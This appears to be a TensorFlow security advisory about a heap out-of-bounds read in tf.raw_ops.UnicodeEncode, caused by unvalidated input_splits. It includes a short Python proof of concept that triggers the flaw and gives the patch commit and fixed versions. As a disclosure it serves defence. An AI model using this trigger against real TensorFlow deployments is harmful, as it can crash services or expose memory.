Description
Impact
An attacker can access data outside of bounds of heap allocated array in `tf.raw_ops.UnicodeEncode`:
```python
import tensorflow as tf
input_values = tf.constant([58], shape=[1], dtype=tf.int32)
input_splits = tf.constant([[81, 101, 0]], shape=[3], dtype=tf.int32)
output_encoding = "UTF-8"
tf.raw_ops.UnicodeEncode(
input_values=input_values, input_splits=input_splits,
output_encoding=output_encoding)
```
This is because the implementation
assumes that the `input_value`/`input_splits` pair specify a valid sparse tensor.
Patches
We have patched the issue in GitHub commit 51300ba1cc2f487aefec6e6631fef03b0e08b298.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
